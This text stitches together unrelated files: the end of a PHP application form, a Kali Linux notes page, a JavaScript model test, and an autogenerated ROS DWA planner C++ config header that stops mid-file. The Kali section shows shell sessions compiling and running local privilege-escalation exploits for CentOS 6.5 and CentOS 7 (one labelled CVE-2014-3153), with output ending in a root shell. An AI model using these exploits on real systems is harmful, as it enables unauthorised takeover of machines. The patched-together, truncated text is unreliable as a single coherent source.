<script type="text/javascript">
var agreement=new LiveValidation('agreement');
agreement.add( Validate.Acceptance );
</script>
<?php
print "</td>" ;
print "</tr>" ;
}
?>
<tr>
<td>
<span style="font-size: 90%"><i>* <?php print _("denotes a required field") ; ?></i></span>
</td>
<td class="right">
<input type="hidden" name="address" value="<?php print $_SESSION[$guid]["address"] ?>">
<input type="submit" value="<?php print _("Submit") ; ?>">
</td>
</tr>
</table>
</form>
<?php
//Get postscrript
$postscript=getSettingByScope($connection2, 'Application Form', 'postscript') ;
if ($postscript!="") {
print "<h2>" ;
print _("Further Information") ;
print "</h2>" ;
print "<p style='padding-bottom: 15px'>" ;
print $postscript ;
print "</p>" ;
}
}
?>
|
Kali1.1a
# Contents
- [Install Kali](Kali1.1a/Install-kali.md) - Kali
- [Configure Kali Apt Sources](Kali1.1a/<API key>.md) - Kali Apt
- [Install mate desktop to kali](Kali1.1a/<API key>.md) - mate
- [Install Mint Themes to Kali](Kali1.1a/Install-Mint-Themes.md) - mint
[](Kali1.1a/autogen.sh)
sh
root@Hack:~/ # chmod +x autogen.sh && ./autogen.sh
# CentOs6.5 local exploit
sh
rush.q6e@Hack:~/ # gcc -O2 centos6.5.c
rush.q6e@Hack:~/ # ./a.out
2.6.37-3.x x86_64
sd@fucksheep.org 2010
-sh-4.1
uid=0(root) gid=0(root) =0(root),
# CentOs7 local exploit
sh
rush.q6e@Hack:~/ # gcc -o exp centos7.c -lpthread
rush.q6e@Hack:~/ # ./exp
CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)
Press RETURN after one second...
Checking whether exploitable..OK
Seaching good magic...
magic1=0xffff88001d06fc70 magic2=0xffff880004891c80
magic1=0xffff88002c8f5c70 magic2=0xffff88003cb59c80
Good magic found
Hacking...
ABRT has detected 1 problem(s). For more info run: abrt-cli list --since 1434357615
[root@Hack ~]
|
/*global define*/
/*global test*/
/*global equal*/
define(['models/config'], function (Model) {
'use strict';
module('Config model');
test('Can be created with default values', function() {
var note = new Model();
equal(note.get('name'), '', 'For default config name is empty');
equal(note.get('value'), '', 'For default config value is empty');
});
test('Update attributes', function(){
var note = new Model();
note.set('name', 'new-config');
equal(note.get('name'), 'new-config');
equal(note.get('value'), '', 'For default config value is empty');
});
});
|
//#line 2 "/opt/ros/indigo/share/dynamic_reconfigure/cmake/../templates/ConfigType.h.template"
// File autogenerated for the dwa_local_planner package
// by the dynamic_reconfigure package.
// Please do not edit.
#ifndef <API key>
#define <API key>
#include <dynamic_reconfigure/config_tools.h>
#include <limits>
#include <ros/node_handle.h>
#include <dynamic_reconfigure/ConfigDescription.h>
#include <dynamic_reconfigure/ParamDescription.h>
#include <dynamic_reconfigure/Group.h>
#include <dynamic_reconfigure/config_init_mutex.h>
#include <boost/any.hpp>
namespace dwa_local_planner
{
class <API key>;
class DWAPlannerConfig
{
public:
class <API key> : public dynamic_reconfigure::ParamDescription
{
public:
<API key>(std::string n, std::string t, uint32_t l,
std::string d, std::string e)
{
name = n;
type = t;
level = l;
description = d;
edit_method = e;
}
virtual void clamp(DWAPlannerConfig &config, const DWAPlannerConfig &max, const DWAPlannerConfig &min) const = 0;
virtual void calcLevel(uint32_t &level, const DWAPlannerConfig &config1, const DWAPlannerConfig &config2) const = 0;
virtual void fromServer(const ros::NodeHandle &nh, DWAPlannerConfig &config) const = 0;
virtual void toServer(const ros::NodeHandle &nh, const DWAPlannerConfig &config) const = 0;
virtual bool fromMessage(const dynamic_reconfigure::Config &msg, DWAPlannerConfig &config) const = 0;
virtual void toMessage(dynamic_reconfigure::Config &msg, const DWAPlannerConfig &config) const = 0;
virtual void getValue(const DWAPlannerConfig &config, boost::any &val) const = 0;
};
typedef boost::shared_ptr<<API key>> <API key>;
typedef boost::shared_ptr<const <API key>> <API key>;
template <class T>
class ParamDescription : public <API key>
{
public:
ParamDescription(std::string name, std::string type, uint32_t level,
std::string description, std::string edit_method, T DWAPlannerConfig::* f) :
<API key>(name, type, level, description, edit_method),
field(f)
{}
T (DWAPlannerConfig::* field);
virtual void clamp(DWAPlannerConfig &config, const DWAPlannerConfig &max, const DWAPlannerConfig &min) const
{
if (config.*field > max.*field)
config.*field = max.*field;
if (config.*field < min.*field)
config.*field = min.*field;
}
virtual void calcLevel(uint32_t &comb_level, const DWAPlannerConfig &config1, const DWAPlannerConfig &config2) const
{
if (config1.*field != config2.*field)
comb_level |= level;
}
virtual void fromServer(const ros::NodeHandle &nh, DWAPlannerConfig &config) const
{
nh.getParam(name, config.*field);
}
virtual void toServer(const ros::NodeHandle &nh, const DWAPlannerConfig &config) const
{
nh.setParam(name, config.*field);
}
virtual bool fromMessage(const dynamic_reconfigure::Config &msg, DWAPlannerConfig &config) const
{
return dynamic_reconfigure::ConfigTools::getParameter(msg, name, config.*field);
}
virtual void toMessage(dynamic_reconfigure::Config &msg, const DWAPlannerConfig &config) const
{
dynamic_reconfigure::ConfigTools::appendParameter(msg, name, config.*field);
}
virtual void getValue(const DWAPlannerConfig &config, boost::any &val) const
{
val = config.*field;
}
};
class <API key> : public dynamic_reconfigure::Group
{
public:
<API key>(std::string n, std::string t, int p, int i, bool s)
{
name = n;
type = t;
parent = p;
state = s;
id = i;
}
std::vector<<API key>> abstract_parameters;
bool state;
virtual void toMessage(dynamic_reconfigure::Config &msg, const boost::any &config) const = 0;
virtual bool fromMessage(const dynamic_reconfigure::Config &msg, boost::any &config) const =0;
virtual void updateParams(boost::any &cfg, DWAPlannerConfig &top) const= 0;
virtual void setInitialState(boost::any &cfg) const = 0;
void convertParams()
{
for(std::vector<<API key>>::const_iterator i = abstract_parameters.begin(); i != abstract_parameters.end(); ++i)
{
parameters.push_back(dynamic_reconfigure::ParamDescription(**i));
}
}
};
typedef boost::shared_ptr<<API key>> <API key>;
typedef boost::shared_ptr<const <API key>> <API key>;
template<class T, class PT>
class GroupDescription : public <API key>
{
public:
GroupDescription(std::string name, std::string type, int parent, int id, bool s, T PT::* f) : <API key>(name, type, parent, id, s), field(f)
{
}
GroupDescription(const GroupDescription<T, PT>& g): <API key>(g.name, g.type, g.parent, g.id, g.state), field(g.field), groups(g.groups)
{
parameters = g.parameters;
abstract_parameters = g.abstract_parameters;
}
virtual bool fromMessage(const dynamic_reconfigure::Config &msg, boost::any &cfg) const
{
PT* config = boost::any_cast<PT*>(cfg);
if(!dynamic_reconfigure::ConfigTools::getGroupState(msg, name, (*config).*field))
return false;
for(std::vector<<API key>>::const_iterator i = groups.begin(); i != groups.end(); ++i)
{
boost::any n = &((*config).*field);
if(!(*i)->fromMessage(msg, n))
return false;
}
return true;
}
virtual void setInitialState(boost::any &cfg) const
{
PT* config = boost::any_cast<PT*>(cfg);
T* group = &((*config).*field);
group->state = state;
for(std::vector<<API key>>::const_iterator i = groups.begin(); i != groups.end(); ++i)
{
boost::any n = boost::any(&((*config).*field));
(*i)->setInitialState(n);
}
}
virtual void updateParams(boost::any &cfg, DWAPlannerConfig &top) const
{
PT* config = boost::any_cast<PT*>(cfg);
T* f = &((*config).*field);
f->setParams(top, abstract_parameters);
for(std::vector<<API key>>::const_iterator i = groups.begin(); i != groups.end(); ++i)
{
boost::any n = &((*config).*field);
(*i)->updateParams(n, top);
}
}
virtual void toMessage(dynamic_reconfigure::Config &msg, const boost::any &cfg) const
{
const PT config = boost::any_cast<PT>(cfg);
dynamic_reconfigure::ConfigTools::appendGroup<T>(msg, name, id, parent, config.*field);
for(std::vector<<API key>>::const_iterator i = groups.begin(); i != groups.end(); ++i)
{
(*i)->toMessage(msg, config.*field);
}
}
T (PT::* field);
std::vector<DWAPlannerConfig::<API key>> groups;
};
class DEFAULT
{
public:
DEFAULT()
{
state = true;
name = "Default";
}
void setParams(DWAPlannerConfig &config, const std::vector<<API key>> params)
{
for (std::vector<<API key>>::const_iterator _i = params.begin(); _i != params.end(); ++_i)
{
boost::any val;
(*_i)->getValue(config, val);
if("max_trans_vel"==(*_i)->name){max_trans_vel = boost::any_cast<double>(val);}
if("min_trans_vel"==(*_i)->name){min_trans_vel = boost::any_cast<double>(val);}
if("max_vel_x"==(*_i)->name){max_vel_x = boost::any_cast<double>(val);}
if("min_vel_x"==(*_i)->name){min_vel_x = boost::any_cast<double>(val);}
if("max_vel_y"==(*_i)->name){max_vel_y = boost::any_cast<double>(val);}
if("min_vel_y"==(*_i)->name){min_vel_y = boost::any_cast<double>(val);}
if("max_rot_vel"==(*_i)->name){max_rot_vel = boost::any_cast<double>(val);}
if("min_rot_vel"==(*_i)->name){min_rot_vel = boost::any_cast<double>(val);}
if("acc_lim_x"==(*_i)->name){acc_lim_x = boost::any_cast<double>(val);}
if("acc_lim_y"==(*_i)->name){acc_lim_y = boost::any_cast<double>(val);}
if("acc_lim_theta"==(*_i)->name){acc_lim_theta = boost::any_cast<double>(val);}
if("acc_limit_trans"==(*_i)->name){acc_limit_trans = boost::any_cast<double>(val);}
if("prune_plan"==(*_i)->name){prune_plan = boost::any_cast<bool>(val);}
if("xy_goal_tolerance"==(*_i)->name){xy_goal_tolerance = boost::any_cast<double>(val);}
if("yaw_goal_tolerance"==(*_i)->name){yaw_goal_tolerance = boost::any_cast<double>(val);}
if("trans_stopped_vel"==(*_i)->name){trans_stopped_vel = boost::any_cast<double>(val);}
if("rot_stopped_vel"==(*_i)->name){rot_stopped_vel = boost::any_cast<double>(val);}
if("sim_time"==(*_i)->name){sim_time = boost::any_cast<double>(val);}
if("sim_granularity"==(*_i)->name){sim_granularity = boost::any_cast<double>(val);}
if("<API key>"==(*_i)->name){<API key> = boost::any_cast<double>(val);}
if("path_distance_bias"==(*_i)->name){path_distance_bias = boost::any_cast<double>(val);}
if("goal_distance_bias"==(*_i)->name){goal_distance_bias = boost::any_cast<double>(val);}
if("occdist_scale"==(*_i)->name){occdist_scale = boost::any_cast<double>(val);}
if("stop_time_buffer"==(*_i)->name){stop_time_buffer = boost::any_cast<double>(val);}
if("<API key>"==(*_i)->name){<API key> = boost::any_cast<double>(val);}
if("<API key>"==(*_i)->name){<API key> = boost::any_cast<double>(val);}
if("<API key>"==(*_i)->name){<API key> = boost::any_cast<double>(val);}
if("scaling_speed"==(*_i)->name){scaling_speed = boost::any_cast<double>(val);}
if("max_scaling_factor"==(*_i)->name){max_scaling_factor = boost::any_cast<double>(val);}
if("vx_samples"==(*_i)->name){vx_samples = boost::any_cast<int>(val);}
if("vy_samples"==(*_i)->name){vy_samples = boost::any_cast<int>(val);}
if("vth_samples"==(*_i)->name){vth_samples = boost::any_cast<int>(val);}
if("use_dwa"==(*_i)->name){use_dwa = boost::any_cast<bool>(val);}
if("restore_defaults"==(*_i)->name){restore_defaults = boost::any_cast<bool>(val);}
}
}
double max_trans_vel;
double min_trans_vel;
double max_vel_x;
double min_vel_x;
double max_vel_y;
double min_vel_y;
double max_rot_vel;
double min_rot_vel;
double acc_lim_x;
double acc_lim_y;
double acc_lim_theta;
double acc_limit_trans;
bool prune_plan;
double xy_goal_tolerance;
double yaw_goal_tolerance;
double trans_stopped_vel;
double rot_stopped_vel;
double sim_time;
double sim_granularity;
double <API key>;
double path_distance_bias;
double goal_distance_bias;
double occdist_scale;
double stop_time_buffer;
double <API key>;
double <API key>;
double <API key>;
double scaling_speed;
double max_scaling_factor;
int vx_samples;
int vy_samples;
int vth_samples;
bool use_dwa;
bool restore_defaults;
bool state;
std::string name;
}groups;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double max_trans_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double min_trans_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double max_vel_x;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double min_vel_x;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double max_vel_y;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double min_vel_y;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double max_rot_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double min_rot_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double acc_lim_x;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double acc_lim_y;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double acc_lim_theta;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double acc_limit_trans;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
bool prune_plan;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double xy_goal_tolerance;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double yaw_goal_tolerance;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double trans_stopped_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double rot_stopped_vel;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double sim_time;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double sim_granularity;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double <API key>;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double path_distance_bias;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double goal_distance_bias;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double occdist_scale;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double stop_time_buffer;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double <API key>;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double <API key>;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double <API key>;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double scaling_speed;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
double max_scaling_factor;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
int vx_samples;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
int vy_samples;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
int vth_samples;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
bool use_dwa;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
bool restore_defaults;
//#line 218 "/opt/ros/indigo/share/dynamic_reconfigure/cmake/../templates/ConfigType.h.template"
bool __fromMessage__(dynamic_reconfigure::Config &msg)
{
const std::vector<<API key>> &<API key> = <API key>();
const std::vector<<API key>> &<API key> = <API key>();
int count = 0;
for (std::vector<<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); ++i)
if ((*i)->fromMessage(msg, *this))
count++;
for (std::vector<<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); i ++)
{
if ((*i)->id == 0)
{
boost::any n = boost::any(this);
(*i)->updateParams(n, *this);
(*i)->fromMessage(msg, n);
}
}
if (count != dynamic_reconfigure::ConfigTools::size(msg))
{
ROS_ERROR("DWAPlannerConfig::__fromMessage__ called with an unexpected parameter.");
ROS_ERROR("Booleans:");
for (unsigned int i = 0; i < msg.bools.size(); i++)
ROS_ERROR(" %s", msg.bools[i].name.c_str());
ROS_ERROR("Integers:");
for (unsigned int i = 0; i < msg.ints.size(); i++)
ROS_ERROR(" %s", msg.ints[i].name.c_str());
ROS_ERROR("Doubles:");
for (unsigned int i = 0; i < msg.doubles.size(); i++)
ROS_ERROR(" %s", msg.doubles[i].name.c_str());
ROS_ERROR("Strings:");
for (unsigned int i = 0; i < msg.strs.size(); i++)
ROS_ERROR(" %s", msg.strs[i].name.c_str());
// @todo Check that there are no duplicates. Make this error more
// explicit.
return false;
}
return true;
}
// This version of __toMessage__ is used during initialization of
// statics when <API key> can't be called yet.
void __toMessage__(dynamic_reconfigure::Config &msg, const std::vector<<API key>> &<API key>, const std::vector<<API key>> &<API key>) const
{
dynamic_reconfigure::ConfigTools::clear(msg);
for (std::vector<<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); ++i)
(*i)->toMessage(msg, *this);
for (std::vector<<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); ++i)
{
if((*i)->id == 0)
{
(*i)->toMessage(msg, *this);
}
}
}
void __toMessage__(dynamic_reconfigure::Config &msg) const
{
const std::vector<<API key>> &<API key> = <API key>();
const std::vector<<API key>> &<API key> = <API key>();
__toMessage__(msg, <API key>, <API key>);
}
void __toServer__(const ros::NodeHandle &nh) const
{
const std::vector<<API key>> &<API key> = <API key>();
for (std::vector<<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); ++i)
(*i)->toServer(nh, *this);
}
void __fromServer__(const ros::NodeHandle &nh)
{
static bool setup=false;
const std::vector<<API key>> &<API key> = <API key>();
for (std::vector<<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); ++i)
(*i)->fromServer(nh, *this);
const std::vector<<API key>> &<API key> = <API key>();
for (std::vector<<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); i++){
if (!setup && (*i)->id == 0) {
setup = true;
boost::any n = boost::any(this);
(*i)->setInitialState(n);
}
}
}
void __clamp__()
{
const std::vector<<API key>> &<API key> = <API key>();
const DWAPlannerConfig &__max__ = __getMax__();
const DWAPlannerConfig &__min__ = __getMin__();
for (std::vector<<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); ++i)
(*i)->clamp(*this, __max__, __min__);
}
uint32_t __level__(const DWAPlannerConfig &config) const
{
const std::vector<<API key>> &<API key> = <API key>();
uint32_t level = 0;
for (std::vector<<API key>>::const_iterator i = <API key>.begin(); i != <API key>.end(); ++i)
(*i)->calcLevel(level, config, *this);
return level;
}
static const dynamic_reconfigure::ConfigDescription &<API key>();
static const DWAPlannerConfig &__getDefault__();
static const DWAPlannerConfig &__getMax__();
static const DWAPlannerConfig &__getMin__();
static const std::vector<<API key>> &<API key>();
static const std::vector<<API key>> &<API key>();
private:
static const <API key> *__get_statics__();
};
template <> // Max and min are ignored for strings.
inline void DWAPlannerConfig::ParamDescription<std::string>::clamp(DWAPlannerConfig &config, const DWAPlannerConfig &max, const DWAPlannerConfig &min) const
{
return;
}
class <API key>
{
friend class DWAPlannerConfig;
<API key>()
{
DWAPlannerConfig::GroupDescription<DWAPlannerConfig::DEFAULT, DWAPlannerConfig> Default("Default", "", 0, 0, true, &DWAPlannerConfig::groups);
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.max_trans_vel = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.max_trans_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.max_trans_vel = 0.55;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_trans_vel", "double", 0, "The absolute value of the maximum translational velocity for the robot in m/s", "", &DWAPlannerConfig::max_trans_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_trans_vel", "double", 0, "The absolute value of the maximum translational velocity for the robot in m/s", "", &DWAPlannerConfig::max_trans_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.min_trans_vel = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.min_trans_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.min_trans_vel = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("min_trans_vel", "double", 0, "The absolute value of the minimum translational velocity for the robot in m/s", "", &DWAPlannerConfig::min_trans_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("min_trans_vel", "double", 0, "The absolute value of the minimum translational velocity for the robot in m/s", "", &DWAPlannerConfig::min_trans_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.max_vel_x = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.max_vel_x = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.max_vel_x = 0.55;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_vel_x", "double", 0, "The maximum x velocity for the robot in m/s", "", &DWAPlannerConfig::max_vel_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_vel_x", "double", 0, "The maximum x velocity for the robot in m/s", "", &DWAPlannerConfig::max_vel_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.min_vel_x = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.min_vel_x = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.min_vel_x = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("min_vel_x", "double", 0, "The minimum x velocity for the robot in m/s", "", &DWAPlannerConfig::min_vel_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("min_vel_x", "double", 0, "The minimum x velocity for the robot in m/s", "", &DWAPlannerConfig::min_vel_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.max_vel_y = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.max_vel_y = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.max_vel_y = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_vel_y", "double", 0, "The maximum y velocity for the robot in m/s", "", &DWAPlannerConfig::max_vel_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_vel_y", "double", 0, "The maximum y velocity for the robot in m/s", "", &DWAPlannerConfig::max_vel_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.min_vel_y = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.min_vel_y = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.min_vel_y = -0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("min_vel_y", "double", 0, "The minimum y velocity for the robot in m/s", "", &DWAPlannerConfig::min_vel_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("min_vel_y", "double", 0, "The minimum y velocity for the robot in m/s", "", &DWAPlannerConfig::min_vel_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.max_rot_vel = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.max_rot_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.max_rot_vel = 1.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_rot_vel", "double", 0, "The absolute value of the maximum rotational velocity for the robot in rad/s", "", &DWAPlannerConfig::max_rot_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("max_rot_vel", "double", 0, "The absolute value of the maximum rotational velocity for the robot in rad/s", "", &DWAPlannerConfig::max_rot_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.min_rot_vel = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.min_rot_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.min_rot_vel = 0.4;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("min_rot_vel", "double", 0, "The absolute value of the minimum rotational velocity for the robot in rad/s", "", &DWAPlannerConfig::min_rot_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("min_rot_vel", "double", 0, "The absolute value of the minimum rotational velocity for the robot in rad/s", "", &DWAPlannerConfig::min_rot_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.acc_lim_x = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.acc_lim_x = 20.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.acc_lim_x = 2.5;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("acc_lim_x", "double", 0, "The acceleration limit of the robot in the x direction", "", &DWAPlannerConfig::acc_lim_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
<API key>.push_back(DWAPlannerConfig::<API key>(new DWAPlannerConfig::ParamDescription<double>("acc_lim_x", "double", 0, "The acceleration limit of the robot in the x direction", "", &DWAPlannerConfig::acc_lim_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__min__.acc_lim_y = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__max__.acc_lim_y = 20.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
__default__.acc_lim_y = 2.5;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/<API key>.py"
